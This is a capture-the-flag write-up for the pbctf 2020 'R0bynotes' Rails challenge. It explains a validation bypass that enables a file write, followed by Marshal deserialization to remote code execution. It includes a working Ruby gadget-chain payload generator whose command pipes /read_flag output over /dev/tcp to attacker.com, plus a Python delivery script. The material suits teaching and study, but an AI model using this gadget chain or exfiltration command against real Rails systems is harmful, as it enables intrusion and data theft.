[pbctf 2020] R0bynotes
This post originally appeared on the flagbot site, feel free to read it there. It is presented here as a form of archival and to collect all my posts in one place.
Rails is secure by default so it’s perfect for my amazing notes app
https://r0bynotes.chal.perfect.blue - source
Note: If you find the flag, please remove the flag{..} wrapper and wrap it with pbctf{…} instead
We’re presented with a ruby-on-rails application, which always comes
with a lot of files, directory and other kinds of cruft, so let’s get
down to the files that normally really matter: the controllers. (On the
way to opening that folder, also note that there’s a
read_flag
binary, so we’ll need to get RCE.) Upon looking
at the note controller, we see something very interesting: there’s a
Marshal.load
happening. Those are always a good sign of
potential exploits ahead. The first snag: the deserialization is reading
from a file we can’t seem to control other than by having something
Marshal.dump
ed into it.
Let’s see if we can get a file write with other contents somewhere.
In the users controller, the user id is used as filename, with
name
– something else we can control – as file contents. So
if we could get a user id of say /notes/something_here
, we
could use name
to dump our deserialization payload, then
access the note something_here
and get our victory. The
only obstacle:
def valid_user_id?
raise ActionController::BadRequest.new("invalid username") if raw_user_id&.count("^a-z0-9") > 0
end
Testing some standard web stuff, we discover that providing the id as
id[]=/notes/something_here
works perfectly. This probably
works because calling count
on list doesn’t use regular
expressions. One more problem that we encountered concerns the matter of
url encoding. As it turns out, ruby expects the payload to be encoded in
UTF-8 first, so e.g. sending %FF
directly wouldn’t work,
but should be %C3%BF
instead. Using
encodeURIComponent
in the browser console automatically
does this, while python’s urllib.parse.quote
, which we were
using, does not.
Alright, we’ve got deserialization, time to find a gadget chain we
can use. Most gadget chains to be found online somehow rely on
ERB
being present, but currently, rails uses
Erubi
as is erb processor, which does not have the same
easy eval, unfortunately. Browsing through the source code some more it
is…
Grepping through the rails source code for useful eval
s
or system
s, we eventually came across
ActiveModel::AttributeMethods::ClassMethods::CodeGenerator
,
which eval
s its sources
list when calling the
execute
method. To trigger this, we can use the standard
ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
trick, which will call a method of our choice when essentially any other
method would be used on our deserialized payload. The final problem we
encounter along this path is that the
DeprecatedInstanceVariableProxy
tries to call
@logger.warn
, which fails if we don’t set a logger. We
failed at using the default, existing logger that would normally be
used, and the Logger
in the standard library has the wrong
function signature to fit here (using STDOUT
as argument
for this logger makes it impossible to serialize it, but
nil
works perfectly fine otherwise). So, more grepping it
is, this time for warn
methods. Soon enough, we managed to
find that Kernel.warn
works, gadget chain ready to
deploy.
Generating the payload:
require "base64"
require 'securerandom'
module ActiveModel; module AttributeMethods; module ClassMethods; class CodeGenerator; end; end; end; end;
module ActiveSupport;class Deprecation;module Reporting; end;class DeprecatedInstanceVariableProxy;end;end;end
code = "%x(/bin/bash -c '/read_flag > /dev/tcp/attacker.com/4444')"
target = ActiveModel::AttributeMethods::ClassMethods::CodeGenerator.allocate
target.instance_variable_set :@sources, [code]
target.instance_variable_set :@owner, ActiveModel::AttributeMethods::ClassMethods
target.instance_variable_set :@path, "(pwned)"
target.instance_variable_set :@line, 1
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, target
proxy.instance_variable_set :@method, :execute
proxy.instance_variable_set :@deprecator, Kernel
puts Base64.encode64((Marshal.dump(proxy)).force_encoding "ascii-8bit").gsub "\n", "";
And then creating the file, with a nc
receiver ready to
catch the flag when we visit the printed URL:
import base64
from requests import Session
from secrets import token_hex
URL = "https://r0bynotes.chal.perfect.blue"
# URL = "http://localhost:3000"
rnd = lambda: token_hex(10)
def quote(x):
if not isinstance(x, bytes):
x = x.encode()
return ''.join(f'%{hex(z)[2:].zfill(2)}' for y in x for z in chr(y).encode())
s = Session()
def create(username, name, id):
token = s.get(f"{URL}/users/new").text.split('"authenticity_token" value="')[1].split('"')[0]
print(f"{URL}{id}")
data = f'authenticity_token={quote(token)}&user[username]={quote(username)}&user[name]={quote(name)}&id[]={quote(id)}'
return s.post(f"{URL}/users", headers={'Content-Type': 'application/x-www-form-urlencoded'}, data=data, allow_redirects=False).status_code
name = "BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86P0FjdGl2ZU1vZGVsOjpBdHRyaWJ1dGVNZXRob2RzOjpDbGFzc01ldGhvZHM6OkNvZGVHZW5lcmF0b3IJOg1Ac291cmNlc1sGSSI/JXgoL2Jpbi9iYXNoIC1jICcvcmVhZF9mbGFnID4gL2Rldi90Y3AvYXR0YWNrZXIuY29tLzQ0NDQnKQY6BkVUOgtAb3duZXJtMEFjdGl2ZU1vZGVsOjpBdHRyaWJ1dGVNZXRob2RzOjpDbGFzc01ldGhvZHM6CkBwYXRoSSIMKHB3bmVkKQY7CVQ6CkBsaW5laQY6DEBtZXRob2Q6DGV4ZWN1dGU6EEBkZXByZWNhdG9ybQtLZXJuZWw="
print(create(f'organizers_{rnd()}', base64.b64decode(name), '/notes/' + rnd()))
Flag: pbctf{wh3n_c0un7_d035n7_c0un7}